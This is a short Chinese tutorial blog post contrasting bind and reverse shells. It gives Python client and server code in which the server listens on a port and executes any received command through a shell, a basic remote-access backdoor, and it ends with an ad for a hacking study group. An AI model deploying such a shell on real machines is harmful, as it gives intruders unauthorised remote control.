正向反向区别
正向即我们通过一系列手段在受害机开放了一个端口,这个端口等待我们连接,受害机不会主动告诉我们让我们去连接,导致我们必须要知道受害机的IP地址,实际操作会很困难。所以现在都是用反向,与正向最大区别是,受害机会通知我们,将shell返回。
示例
Python中通过连接并执行命令主要用到了socket和subprocess两个模块,以下是一个简单的示例。
Client.py
|
# -*- coding: utf-8 -*- import socket while 1: str_msg = raw_input("Please input command:")
if str_msg == "exit": break else: s2 = socket.socket() s2.connect(("192.168.150.144", 6666)) data = s2.recv(1024) s2.send(str_msg) print str(s2.recv(1024)) s2.close() |
Server.py
|
import subprocess import socket
def run_command(command): command = command.rstrip() print command try: child = subprocess.check_output(command, shell=True) return child except: child = 'Can not execute the command.\r\n' return child
s1 = socket.socket() s1.bind(("192.168.150.144", 6666)) s1.listen(5)
while 1: conn,address = s1.accept() print "a new connect from " + str(address) conn.send("Hello world") data = conn.recv(1024) print "The command is " + data output = run_command(data) conn.send(output)
conn.close() |
示例演示结果
总结
上面简单示例只接收客户端命令进行了执行,其他功能可根据需求自行添加, 也可以使用tk等集成到gui中进行学习。
网络攻防知识星球推荐,欢迎加入,更多私密干货将在蜜圈分享。
圈内会分享关于信息搜集、web渗透、内网安全、代码审计等东西,另外物联网安全也是趋势,我们平时的学习资料总结都会进行分享。
整体来说就是网络攻防这个大层面,或者说是网络安全,在这里我们创建一个纯净的技术交流平台,和密圈内的兄弟一块交流学习。